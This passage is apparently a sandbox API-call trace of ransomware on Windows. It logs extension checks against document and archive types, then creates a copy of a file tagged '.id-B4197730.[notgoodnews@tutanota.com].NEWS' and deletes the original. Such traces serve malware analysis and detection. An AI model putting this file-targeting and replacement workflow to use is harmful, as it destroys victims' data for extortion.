(lpString=".1cd") returned 4 [0065.805] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.805] lstrlenW (lpString=".jpg") returned 4 [0065.805] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.805] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.805] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0065.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.807] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1600388) returned 1 [0065.808] CloseHandle (hObject=0x344) returned 1 [0065.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0065.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0065.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.808] lstrlenW (lpString=".doc") returned 4 [0065.808] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString=".docx") returned 5 [0065.808] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0065.808] lstrlenW (lpString=".pdf") returned 4 [0065.808] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString=".xls") returned 4 [0065.808] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString=".xlsx") returned 5 [0065.808] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0065.808] lstrlenW (lpString=".ppt") returned 4 [0065.808] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.808] lstrlenW (lpString=".zip") returned 4 [0065.808] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString=".rar") returned 4 [0065.808] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString=".bz2") returned 4 [0065.808] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.808] lstrlenW (lpString=".7z") returned 3 [0065.809] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.809] lstrlenW (lpString=".dbf") returned 4 [0065.809] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.809] lstrlenW (lpString=".1cd") returned 4 [0065.809] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.809] lstrlenW (lpString=".jpg") returned 4 [0065.809] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.809] lstrlenW (lpString=".doc") returned 4 [0065.809] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString=".docx") returned 5 [0065.809] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0065.809] lstrlenW (lpString=".pdf") returned 4 [0065.809] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString=".xls") returned 4 [0065.809] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString=".xlsx") returned 5 [0065.809] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0065.809] lstrlenW (lpString=".ppt") returned 4 [0065.809] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.809] lstrlenW (lpString=".zip") returned 4 [0065.809] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString=".rar") returned 4 [0065.809] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString=".bz2") returned 4 [0065.809] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.809] lstrlenW (lpString=".7z") returned 3 [0065.809] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.810] lstrlenW (lpString=".dbf") returned 4 [0065.810] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.810] lstrlenW (lpString=".1cd") returned 4 [0065.810] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0065.810] lstrlenW (lpString=".jpg") returned 4 [0065.810] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.810] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.810] lstrlenW (lpString="auxbase.xml") returned 11 [0065.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.811] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1434) returned 1 [0065.811] CloseHandle (hObject=0x344) returned 1 [0065.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0065.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.811] lstrlenW (lpString=".doc") returned 4 [0065.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.811] lstrlenW (lpString=".docx") returned 5 [0065.811] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0065.811] lstrlenW (lpString=".pdf") returned 4 [0065.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.811] lstrlenW (lpString=".xls") returned 4 [0065.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.811] lstrlenW (lpString=".xlsx") returned 5 [0065.811] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0065.811] lstrlenW (lpString=".ppt") returned 4 [0065.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.811] lstrlenW (lpString=".zip") returned 4 [0065.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.811] lstrlenW (lpString=".rar") returned 4 [0065.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString=".bz2") returned 4 [0065.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString=".7z") returned 3 [0065.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.812] lstrlenW (lpString=".dbf") returned 4 [0065.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.812] lstrlenW (lpString=".1cd") returned 4 [0065.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.812] lstrlenW (lpString=".jpg") returned 4 [0065.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.812] lstrlenW (lpString=".doc") returned 4 [0065.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString=".docx") returned 5 [0065.812] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0065.812] lstrlenW (lpString=".pdf") returned 4 [0065.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString=".xls") returned 4 [0065.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString=".xlsx") returned 5 [0065.812] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0065.812] lstrlenW (lpString=".ppt") returned 4 [0065.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.812] lstrlenW (lpString=".zip") returned 4 [0065.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.812] lstrlenW (lpString=".rar") returned 4 [0065.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.812] lstrlenW (lpString=".bz2") returned 4 [0065.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.813] lstrlenW (lpString=".7z") returned 3 [0065.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.813] lstrlenW (lpString=".dbf") returned 4 [0065.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.813] lstrlenW (lpString=".1cd") returned 4 [0065.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0065.813] lstrlenW (lpString=".jpg") returned 4 [0065.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.813] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.813] lstrlenW (lpString="auxpad.xml") returned 10 [0065.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.814] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=212) returned 1 [0065.814] CloseHandle (hObject=0x344) returned 1 [0065.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0065.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.814] lstrlenW (lpString=".doc") returned 4 [0065.814] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.814] lstrlenW (lpString=".docx") returned 5 [0065.814] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0065.814] lstrlenW (lpString=".pdf") returned 4 [0065.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.814] lstrlenW (lpString=".xls") returned 4 [0065.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.814] lstrlenW (lpString=".xlsx") returned 5 [0065.814] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0065.814] lstrlenW (lpString=".ppt") returned 4 [0065.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.814] lstrlenW (lpString=".zip") returned 4 [0065.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.814] lstrlenW (lpString=".rar") returned 4 [0065.815] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".bz2") returned 4 [0065.815] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".7z") returned 3 [0065.815] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.815] lstrlenW (lpString=".dbf") returned 4 [0065.815] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.815] lstrlenW (lpString=".1cd") returned 4 [0065.815] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.815] lstrlenW (lpString=".jpg") returned 4 [0065.815] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.815] lstrlenW (lpString=".doc") returned 4 [0065.815] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".docx") returned 5 [0065.815] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0065.815] lstrlenW (lpString=".pdf") returned 4 [0065.815] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".xls") returned 4 [0065.815] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".xlsx") returned 5 [0065.815] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0065.815] lstrlenW (lpString=".ppt") returned 4 [0065.815] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.815] lstrlenW (lpString=".zip") returned 4 [0065.815] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.815] lstrlenW (lpString=".rar") returned 4 [0065.815] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".bz2") returned 4 [0065.815] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.815] lstrlenW (lpString=".7z") returned 3 [0065.816] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.816] lstrlenW (lpString=".dbf") returned 4 [0065.816] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.816] lstrlenW (lpString=".1cd") returned 4 [0065.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0065.816] lstrlenW (lpString=".jpg") returned 4 [0065.816] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.816] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.816] lstrlenW (lpString="insertbase.xml") returned 14 [0065.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.817] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=903) returned 1 [0065.817] CloseHandle (hObject=0x344) returned 1 [0065.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0065.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0065.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0065.817] lstrlenW (lpString=".doc") returned 4 [0065.817] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.817] lstrlenW (lpString=".docx") returned 5 [0065.817] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0065.817] lstrlenW (lpString=".pdf") returned 4 [0065.817] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.817] lstrlenW (lpString=".xls") returned 4 [0065.817] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.817] lstrlenW (lpString=".xlsx") returned 5 [0065.817] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0065.817] lstrlenW (lpString=".ppt") returned 4 [0065.817] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0065.817] lstrlenW (lpString=".zip") returned 4 [0065.817] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.817] lstrlenW (lpString=".rar") returned 4 [0065.817] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.818] lstrlenW (lpString=".bz2") returned 4 [0065.818] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.818] lstrlenW (lpString=".7z") returned 3 [0065.818] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0065.818] lstrlenW (lpString=".dbf") returned 4 [0065.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.278] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.278] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.279] GetLastError () returned 0x0 [0067.279] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2fda, lpOverlapped=0x0) returned 1 [0067.280] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0067.283] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.283] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfc, lpOverlapped=0x0) returned 1 [0067.284] SetEndOfFile (hFile=0x308) returned 1 [0067.284] CloseHandle (hObject=0x308) returned 1 [0067.285] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.285] SetEndOfFile (hFile=0x374) returned 1 [0067.286] CloseHandle (hObject=0x374) returned 1 [0067.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.287] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0067.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.287] lstrlenW (lpString=".doc") returned 4 [0067.287] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.287] lstrlenW (lpString=".docx") returned 5 [0067.287] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0067.287] lstrlenW (lpString=".pdf") returned 4 [0067.287] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.287] lstrlenW (lpString=".xls") returned 4 [0067.287] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.287] lstrlenW (lpString=".xlsx") returned 5 [0067.287] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0067.287] lstrlenW (lpString=".ppt") returned 4 [0067.287] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.287] lstrlenW (lpString=".zip") returned 4 [0067.287] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.287] lstrlenW (lpString=".rar") returned 4 [0067.287] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString=".bz2") returned 4 [0067.288] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.288] lstrlenW (lpString=".7z") returned 3 [0067.288] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.288] lstrlenW (lpString=".dbf") returned 4 [0067.288] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.288] lstrlenW (lpString=".1cd") returned 4 [0067.288] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.288] lstrlenW 